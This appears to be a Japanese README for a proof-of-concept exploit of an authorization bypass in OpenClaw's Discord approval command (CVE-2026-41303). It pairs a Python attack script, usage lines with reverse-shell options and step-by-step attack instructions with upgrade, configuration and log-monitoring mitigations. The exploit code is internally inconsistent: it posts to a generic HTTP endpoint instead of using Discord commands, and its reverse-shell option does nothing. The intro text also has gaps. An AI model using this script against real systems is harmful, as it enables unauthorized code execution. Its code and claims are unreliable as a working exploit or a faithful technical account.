OpenClaw における認可バイパス脆弱性に関する完全な技術文書
このリポジトリには、 プロジェクトの実行承認コマンドにおけるを可能にする脆弱性 に関する技術情報、分析、および推奨事項が含まれています。
OpenClaw の 2026.3.28 より前のバージョンで重大な欠陥が特定されました。問題は Discord のテキスト承認コマンドにあり、承認者リスト(channels.discord.execApprovals.approvers)に含まれないユーザーが、保留中のホスト実行リクエストを承認できる可能性があります。
| パラメータ | 値 |
|---|---|
| CVE ID | CVE-2026-41303 |
| 影響を受ける製品 | OpenClaw |
| 脆弱性の種類 | 認可バイパス (CWE-863) |
| 攻撃ベクトル | Discord のテキストコマンド |
| プラットフォーム | Linux / Discord |
| CVSS スコア | 8.8 (高) |
| 影響を受けるバージョン | < 2026.3.28 |
| ステータス | v2026.3.28+ で修正済み |
この脆弱性は、OpenClaw ボットの /approve コマンドハンドラーにおける認可検証の欠如に起因します。システムは、リクエストを処理する前に、コマンドを実行するユーザーが承認者リストに含まれているかどうかを正しく検証しません。
承認が管理されている Discord チャンネルにアクセスできる攻撃者は、以下を行う可能性があります:
未承認ユーザー
↓
Discord チャンネルへのアクセス
↓
保留中の承認 ID を特定
↓
/approve コマンドを実行
↓
ボットが権限を検証せずに承認
↓
リモートコード実行 (RCE)
channel-id)approval-id)requests、json、argparseimport argparse
import requests
import json
import time
def main():
# 監査用のプロフェッショナルな引数設定
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - OpenClaw の承認バイパス",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
使用例:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="ボットのインスタンスまたはコンテキストの URL")
parser.add_argument("--token", required=True, help="攻撃者/監査者の Discord トークン")
parser.add_argument("--channel-id", required=True, help="Discord チャンネル ID")
parser.add_argument("--approval-id", required=True, help="バイパスする承認 ID")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="承認決定の種類 (デフォルト: allow-once)")
# ポストエクスプロイテーション用の追加パラメータ
parser.add_argument("--lhost", help="承認が RCE をアクティブにする場合のリバースシェル用 IP")
parser.add_argument("--lport", help="リスニングポート")
parser.add_argument("--verbose", "-v", action="store_true", help="詳細モード")
args = parser.parse_args()
# エクスプロイトロジック
print(f"[*] 承認のバイパスを開始: {args.approval_id}")
print(f"[*] 対象チャンネル: {args.channel_id}")
print(f"[*] 決定: {args.decision}")
if args.verbose:
print(f"[DEBUG] トークン: {args.token[:20]}...")
print(f"[DEBUG] ターゲット: {args.target}")
# 不正なリクエストの構築
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# 権限検証なしで /approve コマンドを送信
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] バイパス成功! 承認が実行されました。")
print(f"[+] レスポンス: {response.json()}")
if args.lhost and args.lport:
print(f"[*] リバースシェルが {args.lhost}:{args.lport} に設定されました")
else:
print(f"[-] エラー: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] 例外: {str(e)}")
if __name__ == "__main__":
main()
# 基本的な使用方法
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# 詳細モード
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# リバースシェル付き
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. OpenClaw が動作する Discord チャンネルへのアクセスを取得
2. ボットのメッセージを監視して保留中の承認 ID を特定
3. 承認リクエストの正確な形式をキャプチャ
4. /approve コマンドの構造を文書化
1. キャプチャした ID を使用して PoC スクリプトを実行
2. パラメータとともに決定 (allow-once または allow-always) を送信
3. ボットはユーザーの権限を検証せずにコマンドを処理
4. 承認が正常に実行される
Discord のテキスト承認がサーバー上の自動機能をアクティブにする場合:
↓
コードのデプロイ
↓
リモートコード実行 (RCE)
↓
システムの完全な侵害
1. OpenClaw の更新
# バージョン 2026.3.28 以降に更新
pip install --upgrade openclaw>=2026.3.28
# または公式リポジトリから
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. 設定の確認
# channels.discord.execApprovals.approvers を確認
# ファイル: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ 信頼できるユーザーのみがこのリストに含まれることを確認
3. ログの監査
# 最近の実行ログを確認
tail -f /var/log/openclaw/execution.log
# 不審な承認を検索
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
# 完全な監査
openclaw-audit --check-approvals --date-range "last-30-days"
/approve コマンドのモニタリングを実装# エクスプロイト検出用のモニタリングスクリプト
import logging
from datetime import datetime
def monitor_approvals(log_file):
"""認可バイパスの試みを検出"""
suspicious_patterns = [
"APPROVAL_BYPASS",
"UNAUTHORIZED_APPROVAL",
"INVALID_PERMISSION"
]
with open(log_file, 'r') as f:
for line in f:
if any(pattern in line for pattern in suspicious_patterns):
alert = f"[ALERTA] {datetime.now()} - {line.strip()}"
logging.warning(alert)
# 管理者に通知を送信
send_alert(alert)
def send_alert(message):
"""管理者にアラートを送信"""
# 通知を実装 (email、Slack など)
pass
# 安全な検証の実装
def approve_execution(user_id, approval_id, decision):
"""承認前に権限を検証"""
# 1. ユーザーが承認者リストに含まれていることを確認
authorized_approvers = get_authorized_approvers()
if user_id not in authorized_approvers:
raise PermissionError(f"ユーザー {user_id} は承認されていません")
# 2. 承認が存在し、保留中であることを確認
approval = get_approval(approval_id)
if not approval or approval.status != "PENDING":
raise ValueError(f"承認 {approval_id} は無効です")
# 3. アクションを記録
log_approval(user_id, approval_id, decision)
# 4. 承認を実行
return execute_approval(approval_id, decision)
# config.yaml - 安全な設定
security:
# 厳格な権限検証
strict_authorization: true
# 多要素認証を要求
mfa_required: true
# すべての承認を記録
audit_logging: true
# 失敗試行の上限
max_failed_attempts: 3
# 試行間の待機時間
lockout_duration: 300 # 秒
# リアルタイム通知
real_time_alerts: true
channels:
discord:
execApprovals:
approvers:
- "admin_user_1"
- "admin_user_2"
# 許可されるロール (追加)
allowed_roles:
- "ADMIN"
- "SECURITY_TEAM"
# 複数ユーザーの承認を要求
require_multiple_approvals: true
approval_threshold: 2
╔═══════════════════════════════════════════════════════════════════════════╗
║ 重要な注意事項 ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ ║
║ この文書は教育および情報セキュリティの目的にのみ提供されます。ここに含まれる ║
║ 情報は、管理された環境で認可されたセキュリティ専門家のみが使用する必要が ║
║ あります。 ║
║ ║
║